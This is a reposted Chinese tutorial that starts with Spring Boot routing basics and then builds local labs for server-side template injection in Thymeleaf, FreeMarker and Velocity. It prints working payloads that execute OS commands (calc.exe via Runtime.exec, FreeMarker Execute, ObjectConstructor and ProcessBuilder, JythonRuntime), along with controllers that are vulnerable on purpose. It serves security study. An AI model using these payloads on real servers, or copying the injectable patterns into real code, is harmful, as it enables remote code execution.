开发框架-SpringBoot

参考:Spring Boot 中文文档

新建一个spring Boot 项目,修改服务器url为 aliyun.com 不然没有与jdk8版本对应的java

选择一个spring web 库,点击创建即可

来到这个页面点击运行

启动的是8080端口,用127.0.0.1:8080 或localhost:8080 访问都行,或者在端口后面加index.html 访问的文件都是同一个;启动的端口修改在 application.properties 这个文件里面

知道上面内容后就可以,继续下一步了

1、路由映射 (和Thinkphp 的路由关系很像,但是写法更简单点)

@RequestMapping

写法:@RequestMapping(value = "/index",method = RequestMethod.GET) 或@RequestMapping("/index")

第一个写法就是一个路由关系加上用get方式访问时触发;第二个是只有一个路由关系,用get或post方式请求它都会接收,并执行下面的方法

@GetMapping (只接收get方式,用post方式请求没有用,下面的post就相反)

写法: @GetMapping("/xxx")

方法里面写个路由地址即可;这个写法和@RequestMapping(value = "/index",method = RequestMethod.GET)是一样的,同等意思,效果也一样;@PostMapping和get写法是一样的

@PostMapping

2、参数传递

@RequestParam

3、数据响应

@RestController 用这个的话会直接将内容进行输出

@Controller 方法返回值默认被解析为视图名称,就是模板文件

@RestController注解相当于@ResponseBody+@Controller合作用。

  • @Controller`:告诉 Spring 框架 “这个类是处理 HTTP 请求的控制器”,使其能被 Spring 的 IOC 容器管理,并参与请求映射。
  • @ResponseBody:告诉框架 “方法的返回值直接作为 HTTP 响应体返回”(而非跳转视图),适用于 API 接口(返回数据而非页面)

要先在类前加上@Controller或者@RestController ,不然写了路由映射也没用

作用是: 将类标记为处理 HTTP 请求的控制器,并自动将方法返回值转换为 HTTP 响应体(如 JSON/XML)

代码实例:

package com.example.springbootdemo49.Controller;
 
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
 
@RestController
public class IndexConttroller {
 
    @RequestMapping("/index")
    public String index() {
        return "Hello World";
    }
    @RequestMapping(value = "/index1",method = RequestMethod.POST)
    public String index1() {
        return "Hello World1";
    }
    @RequestMapping(value = "/indexp",method = RequestMethod.POST)
    public String indexp(){
        return "Hello Spring Boot post";
    }
    @RequestMapping(value = "/indexp",method = RequestMethod.GET)
    public String indexp1(){
        return "Hello Spring Boot get";
    }
}

用postman 分别用post和get方式请求index地址,都能出结果,说明@RequestMapping("/index") 这样写用get或post请求都可以

当方法指定请求方式时,就会只对设置的请求方式起作用

用不同方式请求 ,实现输出内容不同

这样写和上面指定请求方式是一样的,用浏览器打开是默认是用get方式打开,如果页面只设置了post方式就会报错

@GetMapping("/index")
public String index() {
    return "Hello World";
}
@PostMapping("/index1")
public String index1() {
    return "Hello World1";
}

这里也可以不用老是因为修改了部分内容之后想看执行结果而重启项目;只需要点击方法隔壁的小地球标记,点击显示模块的所有端点,这里就会出现所有的路由地址,这里也可以修改请求方式什么的,非常方便

当想要接收参数时,写法:

@GetMapping("/index")
public String index(@RequestParam String name) {
    return name;
}
@PostMapping("/index1")
public String index1(@RequestParam String name) {
    return name;
}

访问时将name值谁便填写,查看输出是否一致;不一致的话可能是有缓存,重启一下就好了

模版引擎

Thymeleaf

参考:https://xz.aliyun.com/news/9962

1、新建SpringBoot项目包含Web,Thymeleaf

2、配置application.properties修改缓存

这里将spring.thymeleaf.cache 的值改为false ,这个是设置缓存的;还有就是看方框里面的几个就够了,一个是设置端口的,一个是设置渲染什么类型的文件的这里是html,一个是设置模板文件和对应的项目文件位置的,classpath:/templates/ 表示模板文件存放在项目的 src/main/resources/templates/ 目录下(classpath 对应项目的 src/main/resources/ 目录)

3、创建模版目录和文件,文件定义修改变量

在resources下面创建了一个templates目录,目录下面创建了一个index.html 文件; 并在里面定义了一个变量data

4、新建Controller目录及文件,指定路由配置

注意,这样写是不行的,因为这里会把返回值直接给输出出来,而不会去模板里面调用index.html文件

 

要这样写才是对的,这里有一个小细节,如果返回值的文件名没有写对的话是不会有一条下划线的,而是一条波浪线,而且鼠标放到上面会显示无法解析MVC视图;写对了就会显示文件的位置和下划线

5、更换SpringBoot及Thymeleaf版本测试POC

@RequestMapping("/index")
public String index(Model model, @RequestParam String name) {
//替换模版html文件中的data变量值
    model.addAttribute("data", name);
    //使用index模版文件
    return "index";
}

下面是通过变量操控显示的页面

@RequestMapping("/index")
public String index(Model model, @RequestParam String name, @RequestParam String lang) {
    model.addAttribute("data", name);
    return "index"+lang;
}

结论:hymeleaf 的漏洞核心原因与 Spring Boot 无关,而是模板引擎自身或应用开发中的安全缺陷导致。和Thymeleaf版本有关

利用条件:Thymeleaf漏洞版本,可控模版变量,变量是用来渲染页面的(就是拼接的文件名)

Poc:

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

用2.6.13版本时测试不会弹出计算器

修改版本为2.2.0.RELEASE,进行测试

 

成功弹出计算器

Freemarker

参考:JAVA安全-模板注入-FreeMarker

1、新建SpringBoot项目包含Web,Freemarker

2、配置application.properties修改缓存

3、创建模版目录和文件,文件定义修改变量 ,文件后缀是ftl

<html lang="zh">
<head>
    <meta charset="UTF-8">
    <title>Demo</title>
</head>
<body>
<table>
    <tr>
        <td>xiaodi</td>
    </tr>
    <tr>
        <td>${username}</td>
<#--        <td><#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}<td>-->
        <td>${password}</td>
    </tr>
</table>
</body>
</html>

4、新建Controller目录及文件,指定路由配置

package com.example.springbootfreemarker49.Controller;
 
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
 
@Controller
public class IndexController {
 
    @GetMapping("/index")
    public String index(Model model, @RequestParam String name, @RequestParam int pass){
      model.addAttribute("username", name);
      model.addAttribute("password", pass);
        return "index";
    }
}

5、更换SpringBoot及Freemarker版本测试POC

 直接在网址中的参数中输入poc测试,这样是不行的

要将测试的poc写到模板里面才能成功,所以这个漏洞有点苛刻,只有当网站里面可以修改模板时,或者可以自定义模板时,自己上传一个有漏洞的模板,然后网页渲染时会渲染自己上传的有问题的模板时,才会造成这个漏洞

这里有两种写法,一种是写到html标签里面,一个是在外面

index.ftl

<html lang="zh">
<head>
    <meta charset="UTF-8">
    <title>Demo</title>
</head>
<body>
<table>
    <tr>
        <td>xiaodi</td>
    </tr>
    <tr>
        <td>${username}</td>
        <td>${password}</td>
    </tr>
</table>
</body>
</html>
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

这里直接在网址中随便输入name值和pass,两个值都要输入,不然会报错;导致不成功

poc写在里面,index.ftl 文件

<html lang="zh">
<head>
    <meta charset="UTF-8">
    <title>Demo</title>
</head>
<body>
<table>
    <tr>
        <td>xiaodi</td>
    </tr>
    <tr>
        <td>${username}</td>
        <td><#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}</td>
        <td>${password}</td>
    </tr>
</table>
</body>
</html>

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")/@value//@value为自定义标签

利用条件:可控渲染的模版文件,无需考虑SpringBoot及Freemarker版本

Velocity

参考:JAVA安全之Velocity模板注入刨析-先知社区

创建项目,并导入库

因为这里没有所以等会在xml文件中配置

要放在这个dependencies隔壁有个编辑启动器的这个

<dependency>
    <groupId>org.apache.velocity</groupId>
    <artifactId>velocity</artifactId>
    <version>1.7</version>
</dependency>

创建模板文件
在项目的src/main/resources/templates目录下创建一个名为index.vm的文件,内容如下

Hello, $name!
 
#set($totalPrice = $price * $quantity)
The total cost for $quantity items at $price each is: $totalPrice.
 
#foreach($item in $items)
- Item: $item
#end

创建VelocityController类
在项目的src/main/java/com.exaples.xxx/Controllder目录下,创建一个控制器类用于处理请求并返回渲染后的模板

package com.example.springbootvelocity49.Controller;
 
import org.apache.velocity.Template;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.context.Context;
import org.apache.velocity.VelocityContext;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
 
import java.io.StringWriter;
import java.util.Arrays;
 
@RestController
public class VelocityController {
 
    private final VelocityEngine velocityEngine;
 
    @Autowired
    public VelocityController(VelocityEngine velocityEngine) { //通过构造函数注入方式获得Velocity引擎实例
        this.velocityEngine = velocityEngine;
    }
 
    @GetMapping("/generate")
    public String generate(@RequestParam String name,
                           @RequestParam double price,
                           @RequestParam int quantity) {
        // Step 1: 加载模板
        Template template = velocityEngine.getTemplate("index.vm");
 
        // Step 2: 创建上下文并填充数据
        Context context = new VelocityContext();
        context.put("name", name);
        context.put("price", price);
        context.put("quantity", quantity);
        context.put("items", Arrays.asList("Apple", "Banana", "Cherry"));
 
        // Step 3: 合并模板和上下文
        StringWriter writer = new StringWriter();
        template.merge(context, writer);
 
        // 返回结果
        return writer.toString();
    }
}

配置Velocity
为了使Velocity引擎可以工作,需要在Spring Boot应用程序中进行一些配置,在上面的目录下创建一个配置类如下所示

package com.velocity.velocitytest.config;
 
import org.apache.velocity.app.VelocityEngine;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
 
import java.util.Properties;
 
@Configuration
public class VelocityConfig {
 
    @Bean
    public VelocityEngine velocityEngine() {
        Properties props = new Properties();
        props.setProperty("resource.loader", "file");
        props.setProperty("file.resource.loader.path", "src/main/resources/templates"); // 模板路径
 
        VelocityEngine velocityEngine = new VelocityEngine(props);
        velocityEngine.init();
        return velocityEngine;
    }
}

漏洞实例:

1、Velocity.evaluate 直接解析字符串作为模板,无需提前加载 .vm 文件,灵活性高但性能略低(每次调用都需解析模板)

package com.example.springbootvelocity49.Controller;
 
import org.apache.velocity.Template;
import org.apache.velocity.app.Velocity;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.context.Context;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.io.VelocityWriter;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
 
import java.io.StringWriter;
import java.util.Arrays;
 
@RestController
public class VelocityController {
 
    private final VelocityEngine velocityEngine;
 
    @Autowired
    public VelocityController(VelocityEngine velocityEngine) { //通过构造函数注入方式获得Velocity引擎实例
        this.velocityEngine = velocityEngine;
    }
 
    @GetMapping("/generate1")
    public String generate(@RequestParam String name
                           ) {
      String templateName = "velocity.vm"+name;
 
        Velocity.init();
        VelocityContext context = new VelocityContext();
        context.put("name", name);
        StringWriter writer = new StringWriter();
        Velocity.evaluate(context, writer,"test", templateName);
        return writer.toString();
    }
}

2、template.merge(ctx, out) 基于预加载的 Template 对象(从 .vm 文件编译而来)进行渲染,性能更高(模板只需解析一次,可多次复用)

Poc:%23set($e%3D"e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

利用条件:Velocity漏洞版本,可控模版变量或文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/920774.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/920774.shtml
英文地址,请注明出处:http://en.pswp.cn/news/920774.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring MVC 九大组件源码深度剖析(六):HandlerExceptionResolver - 异常处理的艺术

文章目录一、异常处理的核心价值二、核心接口设计三、四大内置实现类源码解析1. ExceptionHandlerExceptionResolver&#xff08;现代异常处理核心&#xff09;2. ResponseStatusExceptionResolver&#xff08;HTTP状态码处理&#xff09;3. DefaultHandlerExceptionResolver&a…

MCP(Model Context Protocol,模型上下文协议)介绍

1. 背景 随着大语言模型&#xff08;LLM, Large Language Model&#xff09;的应用越来越广泛&#xff0c;一个核心问题逐渐凸显&#xff1a; 模型在对话或推理时&#xff0c;往往只能依赖有限上下文窗口。外部工具、知识库、应用接口如何统一接入模型&#xff0c;缺乏标准协议…

synchronized的锁对象 和 wait,notify的调用者之间的关系

谁调用了wait和notify方法&#xff0c;会决定这两个方法的控制范围吗&#xff1f;你的问题非常深入&#xff0c;涉及到 wait() 和 notify() 方法的控制范围和作用域。让我们详细分析一下&#xff1a;✅ 核心概念&#xff1a;控制范围由“锁对象”决定wait() 和 notify() 的控制…

【技术教程】如何将文档编辑器集成到用 .Net 编写的网络应用程序中

在现代网络应用中&#xff0c;​富文本编辑能力已成为内容管理系统的核心需求。对于 .NET 开发者而言&#xff0c;选择适合的编辑器并高效集成&#xff0c;是构建企业级应用的关键一步&#xff0c;可让项目管理、 CRM 或定制化系统具备原生办公能力&#xff0c;消除频繁切换应用…

【大模型记忆-Mem0详解-1】概述

目的和能力 Mem0 通过提供以下功能将无状态 AI 应用程序转换为有状态、支持内存的系统&#xff1a; 持久记忆 &#xff1a;跨会话长期保留用户偏好、对话历史记录和上下文信息多级内存 &#xff1a;支持具有自适应个性化的用户级、会话级和代理级内存智能提取 &#xff1a;基于…

2024年山东省信息学小学组(CSP-X)第一轮题解

2024年山东省信息学小学组(CSP-X)第一轮题解 原题下载 单项选择题 阅读程序 阅读程序 #1 判断题 阅读程序 #2 判断题 单选题 阅读程序 #3 判断题 单选题 完善程序 消灭怪兽 位运算操作 原题下载 CSP-X2024小学组(山东)第一轮试题以及答案 单项选择题 共 15 题,每题 2 分…

SW - 用装配图的方式组合多个子零件然后转换成为零件,可维护性好

文章目录SW - 用装配图的方式组合多个子零件然后转换成为零件&#xff0c;可维护性好概述笔记例子将装配图另存为零件将零件图中的多个实体组合为一个实体的特征备注ENDSW - 用装配图的方式组合多个子零件然后转换成为零件&#xff0c;可维护性好 概述 以前画机械零件&#x…

PhotoshopImageGenerator:基于Photoshop的自动化图像数据集生成工具

整体逻辑与设计思路 PhotoshopImageGenerator是一个基于Python和Win32COM的自动化工具,通过控制Adobe Photoshop CC 2019创建多样化的图像数据集。其核心设计思路是通过程序化调用Photoshop的图像编辑能力,为基础图像添加随机元素(图片、文本、形状)和效果,快速生成大量变…

macos自动安装emsdk4.0.13脚本

1.替换文件 emsdk #!/bin/sh # Copyright 2019 The Emscripten Authors. All rights reserved. # Emscripten is available under two separate licenses, the MIT license and the # University of Illinois/NCSA Open Source License. Both these licenses can be # foun…

c++ Effective c++ 条款5

class MyClass { public:MyClass(int& ref, const int c_val) : myRef(ref), myConstVal(c_val) {}// 明确删除拷贝操作MyClass(const MyClass&) delete;MyClass& operator(const MyClass&) delete;private:int& myRef; // 引用成员const int myCo…

如何使用 Xshell 8 连接到一台 CentOS 7 电脑(服务器)

什么是 Xshell&#xff1f; Xshell 是一款功能强大的、适用于 Windows 平台的终端模拟器。它支持 SSH (Secure Shell)、SFTP、TELNET、RLOGIN 和 SERIAL 等多种网络协议&#xff0c;让用户能够安全地连接和管理远程服务器。 对于开发者、系统管理员和网络工程师来说&#xff…

CSS scale函数详解

目录 基本语法 核心特性 常用场景示例 1. 等比例缩放&#xff08;X 轴和 Y 轴相同&#xff09; 2. 非等比例缩放&#xff08;X 轴和 Y 轴不同&#xff09; 3. 翻转并缩放 4. 配合过渡动画实现交互效果 5. 图片悬停缩放效果 6. 缩放原点调整 与其他变换组合使用 注意…

【MATLAB代码】基于EKF的二维组合导航仿真代码,状态量为位置、速度、航向角与IMU偏置,观测量为XY轴的位置和速度,附完整代码

8维状态量(2维位置、2维速度、航向角、航向角偏置、2维加速度计偏置)+4维观测量(2维位置、2维速度)。 订阅专栏后,可直接查看源代码,粘贴到MATLAB空脚本中即可直接运行、得到结果 文章目录 运行结果 MATLAB源代码 程序详解 📘 程序概述 状态预测(状态转移函数) 状态雅…

OpenCV 图像轮廓检测

目录 一、轮廓检测基础概念 二、核心 API 详解&#xff1a;cv2.findContours () 参数说明&#xff1a; 返回值说明&#xff1a; 三、轮廓检测实战步骤 1. 图像预处理&#xff08;灰度化与二值化&#xff09; 2. 查找轮廓 3. 绘制轮廓 四、轮廓的常用属性与操作 1. 轮…

【图论】 Graph.jl 概览

文章目录安装基础使用基本操作全局图的指标顶点性质边性质读写图按照 .lgz 格式存储图数据&#xff08;压缩格式&#xff09;按照 .lg 格式存储图数据&#xff08;非压缩格式&#xff09;图的绘制TikzGraphs.jl Latex 论文风格GraphPlot.jl 通常与 Compose.jl 一起使用SGtSNEpi…

[java] 控制三个线程按顺序交替输出数字123123…

控制三个线程按顺序交替输出数字123123… synchronized&#xff08;配合专用锁对象&#xff09; 通过共享锁和 volatile 变量控制执行顺序&#xff0c;每个线程按指定顺序打印指定内容&#xff0c;确保输出序列如 “123123…”。使用 synchronized 和 wait/notifyAll 实现线程间…

[C#]winform基于yolov8-seg实现的指甲分割实现源码

【测试环境】 vs2019 net framework4.7.2 onnxruntime1.16.3 opencvsharp 注意源码运行在CPU上不支持GPU运行&#xff0c;由于net framework限制GPU会很慢因此没有GPU版本提供。 【运行步骤】 打开sln项目 选择x64 debug运行即可 如需要再x64 release运行可以将x64 debu…

数据结构——线性表(链表,力扣中等篇,增删查改)

文章目录一、增删查改1.1增&#xff08;插入节点&#xff09;1.1.1两数后插入公约数1.1.2循环有序链表的插入1.2删&#xff08;移除节点&#xff09;1.2.1删除已知的node节点【交换val值】1.2.2移除数组中已存在的节点【unordered_set】1.2.3删除和为0的节点【前缀和】1.3改&am…

【Android】OkHttp发起GET请求 POST请求

三三要成为安卓糕手 一&#xff1a;OkHttp介绍 OkHttp 是一个开源的、强大且高效的 HTTP 客户端库&#xff0c;主要用于在 Java后端和Android 项目中进行网络请求。 //在gradle中添加依赖 com.squareup.okhttp3:okhttp:4.12.0二&#xff1a;GET请求/*** 使用OkHttp发起get请求*…

[Mysql数据库] 知识点总结8

1. 请详细描述在复制拓扑中参与复制的线程类型以及各自所承担的功能。答&#xff1a;当从属服务器连接到主服务器时&#xff0c;在主服务器上会创建 Binlog 转储线程&#xff0c;在从属服务器上会默 认创建 I/O 线程和 SQL 线程。- Binlog 转储线程用于从二进制日志读取事件并将…